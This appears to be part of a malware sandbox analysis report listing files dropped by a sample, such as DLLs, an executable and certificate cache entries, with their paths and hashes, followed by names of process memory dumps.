Path C:\Program Files (x86)\ze45gv\XPSPLOG.dll
Size 3.8MB
SHA256 1204f8bde1d1536af01473438387d82ee8532521d155bb2bc98951f9598805ef
MD5 1e538555e59f736499a822bddacb988b
SHA1 443a3ef98857e73764ff4f9c605ea5d0dfb4baf1
SHA512 0b78fbc2d6cc4b26e0567dd3916413c849577c1396cc5c450c1fe86f0f14d745721ad5308231fafdd0b4ada44515f43db09c09bd1a71493ce8f6b44c15dacbd5
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT1581L:yCMWmcKfST5t+BceThTHfaCCUqmJPCYY
TLSH
T13006330DBADB561EE85672785F2DFC3EB77929CC4308EC88D059748B90B2B79603950D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\ze45gv\XPSPLOG.dll
Size 1.6MB
SHA256 28247c8c7102a1b54d2759d9ad75bd54c8b987c957540041ad29b5878bbe0ea6
MD5 118645328e476ab896a5bb5e78a662ab
SHA1 8c5373ae8810a922778eba06aa209394806c620b
SHA512 dc8f972f2d02e54048b68dc7824d46e5bbbbdfef345952176814f5be8be920fab6cef77491bbb46159dfcc7cbf7c1276eebc47886e38ed420397755f0271e635
SSDEEP 24576:RTOuWhLK5RyoT9xcjWByWfymm5LQMqKJoyPhNuTXT5tpB1JA6nvsNBFGGLO:3KLKP3cCMWmRqKJ1JNST5Z/nvsNU
TLSH
T1C57533DBB1CB441EF6A073B12F5CFD2CB17E99C881BDC966A8D631875031AAE5038749
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\ze45gv\XPSPLOG.dll
Size 832KB
SHA256 ff28a850d0537183df3e48184384c44e8748482fcda1296bdda10fd32b9811c6
MD5 d54bdd4ec5cbffd099c29140ca885bde
SHA1 4e5d8ca5a753fcf330e9b0e2f355f49b15bda9be
SHA512 c267ae6ac487ffe60f78afa8454910da9df37e7b2bdd2f142172505e2747965351a677721e8066fd053a77151694d0c456774202cbdf7a2b7b3ce8f925b6237a
SSDEEP 12288:6Qls2PLOuWhkdNkXDKLReoDhRyoTU0UoRclIp6W6HfSqwkRQnLyWfymm5rHQMIDj:RTOuWhLK5RyoT9xcjWByWfymm5LQMqj
TLSH
T1330523D36183551AFE4572716FCCFDBC71BAA8D801B6DD28A4C575870473ABA503838B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\ze45gv\image.png
Size 64KB
SHA256 1036e98184f722304e52af5583d037fef9458ca2db7f344b744be82f3930cfc9
MD5 969b2edb6919e80a96bc6c450893b06c
SHA1 c75a6233bbdd6dedf648e48b2ba8129818cfb27a
SHA512 fdb428ec905bc25a5d1235e61db83a668aebcabfd86a7bb8f3a55cc961a45eb55f2d58c1292f4b5322a8d896e729524099962a42239881a6862b031e19ac0a5b
SSDEEP 1536:B23qm6+1hxb4JU+45wHmis93MyJG+yDUhp6O/qnvkvXZgrTM3:BWt91z4a+2+mrNG+SUXDkYXf3
TLSH
T14153F136DEEB4ED919E2F0AB820B4CB1EB1A989105C114773997B3644BE4377E05A07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 a4881b98f494edc94c5591aa36535d12db42b29cdcf4107c1aeb8d7646812941
MD5 018a5dbabb9ec5de124e4d3c569798ad
SHA1 3be5eb2618328cd550a78b07fabaa6908857ace1
SHA512 6301c67400d4b1c2d01a35fd6c1ba41c1412dc4de3e380203499aec468051d2a61d8cd6d8f8bd54cefbb1f0d91c51e64f94b4ffdea8a549bc7d3f9c481df4761
TLSH
T1C931C9B70F797E429F794D5412C9E1222CE5E1408CCA44A66109C4985F083F16E5990C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 9ff314a7b6fc7b1bf042d1012a36f3693a6caffc29601ebb952230af7ae07aa2
MD5 2cdb2e4033684caeb1fbff7770e681fa
SHA1 102facb990a413480aa0d5084fa0d40ab68af8a1
SHA512 56af4eef9fb3828a5c3dbafebf0177d546bfc0b51f3842a2fef09555eaeb2aa7c7c503857ca8406c3a7968f18bb949253c1de95264daad5f027faa589ab3dfd3
TLSH
T1CA31D8878E3910929F0C9F7522C0C23F6CF565788CF88845797AC1EA8615F7B9F8A415
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 8aed7cdc2ed39b1f337b274ee8e3da808dbc08956342f0abcc3171e904152a6c
MD5 49ddf66d6de67f7d125564d2fd804cbe
SHA1 fdc0fd1284ab6c1e181ee22d57679efff3899e37
SHA512 72dbdcd2c30c4cc1f05e53c4083e167b584bd723b53a5db04543f0cca148b7ac98897e76d6d33e90f93e3090f69eb3ece5491e4563b1e9090d3ecb2fd4ffb9fa
TLSH
T1F2F05C1845B8421CF133DF3CCFCD39AB1B6BF706280555E80BA64709A15BE426C515BA
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 505baa503b294c753591252ac6f2adfc4cba7985a301a15d9c2bb09ecf085250
MD5 ea1017984ce05796f95bb01bb0efed4a
SHA1 17f9e6749e2bc2d62e3fc0fc1275505b54d3d6a7
SHA512 32e4eeacebd2ab3189098a9184e6e356c71d4fb800aa656dbad0e2fb031eb42f8b5883eacaf22d7ea3a6b4ebf242de948c2a65f6d063ee2fbb66296e3fbc82be
TLSH
T11EF0AB2B56EA411FF13BD6B88BCEB6735E2DF623041612BE0AB803445BA2C012C41639
MD5 SHA1 SHA512 TLSH

Submit Download

Hj6co7.exe

Path C:\Users\Public\6TocvG\Hj6co7.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\6TocvG\UxEnhance64.dll
Size 3.1MB
SHA256 092fb5b5e11ea5a86535940858bc88cc72633fee5cb26195365ef59b119a6fb0
MD5 91bd3619e8f893b184e75b504fd93842
SHA1 ef0a8df895d9476b68a77cb92ab5f41590222de9
SHA512 762fdede0fb8c93e907e5d9583ffacb9f7c36ef8dec1951ce61f8aa66be8d5299138c272f917b1293291dc2ce1f1501a3684c0747104c0b0ccd50092e398f418
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+5:P9m29xx3Tiqt06ox6+z2rNNrKo5
TLSH
T104E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\6TocvG\adoresd.dat
Size 4.8MB
SHA256 e5d45edf51288e929818e591ffb6309be043ef472ca2eeddc92784071ce6b98e
MD5 6ca91d4e678992d6928f666fc0dfd763
SHA1 9ff2b8f552e9ec11e573af077f9a5fdaebf5ba2b
SHA512 fd91dc72f60387c1e5c4a0a9a647d68a8e57036824d59207cda155c81eddaa266a2123c970812b47424d8534b45b06a3189a1ff6a18944d9b1f1416a47a48756
SSDEEP 98304:NWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:NWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1003633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\6TocvG\msadox.tb
Size 8KB
SHA256 88d9343dbc148ce283bf90685226129f2821d6de67908895b39405648e203aa6
MD5 590ab86e5b0ebb1cac980618bccb4cbb
SHA1 76d286a6e67639cd5a4bfc671f163211d8211bd2
SHA512 601f8b95c72077c2f21ad58297a3a852d83e9d8a622b4d133990a1d2dc87ec0ba640249b1cdb32216939246ea57e13e9e2ba4b38970b22b8b346a6bc61574ab5
SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
TLSH
T1DB029E05D7A20CC3D2016C71CD9EB2F5AB23A1DADA3926719C67D4C1670B2DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

memory/208-584-0x00007FF87B6A0000-0x00007FF87B6A2000-memory.dmp

Download

memory/208-585-0x000002012C520000-0x000002012CDF7000-memory.dmp

Download

memory/208-590-0x000002012C520000-0x000002012CDF7000-memory.dmp

Download

memory/208-591-0x000002012C520000-0x000002012CDF7000-memory.dmp

Download

memory/208-593-0x00007FF87B690000-0x00007FF87B692000-memory.dmp

Download

memory/208-592-0x000002012C520000-0x000002012CDF7000-memory.dmp

Download

memory/208-589-0x000002012C520000-0x000002012CDF7000-memory.dmp

Download

memory/208-582-0x000002012C520000-0x000002012CDF7000-memory.dmp

Download

memory/208-579-0x00007FF85D8F0000-0x00007FF85DE0E000-memory.dmp

Download

memory/2704-672-0x0000000000A20000-0x0000000000A21000-memory.dmp

Download

memory/2704-665-0x00000000003F0000-0x00000000003F1000-memory.dmp

Download

memory/2704-713-0x0000000002E90000-0x000000000366D000-memory.dmp

Download

memory/2704-693-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/2704-690-0x0000000002E90000-0x000000000366D000-memory.dmp

Download

memory/2704-684-0x0000000000BE0000-0x0000000000BF4000-memory.dmp

Download

memory/2704-677-0x0000000002E90000-0x000000000366D000-memory.dmp

Download

memory/2704-674-0x0000000002E90000-0x000000000366D000-memory.dmp

Download

memory/2704-670-0x0000000002E90000-0x000000000366D000-memory.dmp

Download

memory/2704-666-0x00000000746C0000-0x0000000074E0A000-memory.dmp

Download

memory/3520-525-0x00007FF86C330000-0x00007FF86C340000-memory.dmp

Download

memory/3520-524-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/3520-1-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/3520-2-0x00000000001E0000-0x00000000001EC000-memory.dmp

Download

memory/3520-504-0x00007FF86C330000-0x00007FF86C340000-memory.dmp

Download

memory/3520-0-0x00000000001D0000-0x00000000001DE000-memory.dmp

Download

memory/4300-732-0x00000000746C0000-0x0000000074E0A000-memory.dmp

Download

memory/4468-729-0x0000000003730000-0x0000000003F0D000-memory.dmp

Download

memory/4468-724-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

Download

memory/4468-725-0x00000000746C0000-0x0000000074E0A000-memory.dmp

Download

memory/4884-560-0x00000186FDA70000-0x00000186FDAFA000-memory.dmp

Download

memory/4884-555-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-566-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-544-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-531-0x00007FF85D8F0000-0x00007FF85DE0E000-memory.dmp

Download

memory/4884-558-0x00000186FDA70000-0x00000186FDAFA000-memory.dmp

Download

memory/4884-557-0x00000186FD990000-0x00000186FD9DE000-memory.dmp

Download

memory/4884-530-0x00007FF87B690000-0x00007FF87B692000-memory.dmp

Download

memory/4884-563-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-561-0x00000186FDA70000-0x00000186FDAFA000-memory.dmp

Download

memory/4884-536-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-559-0x00000186FDA70000-0x00000186FDAFA000-memory.dmp

Download

memory/4884-543-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-550-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-539-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-538-0x00007FF87B6A0000-0x00007FF87B6A2000-memory.dmp

Download

memory/4884-545-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download

memory/4884-546-0x00000186FCCB0000-0x00000186FD587000-memory.dmp

Download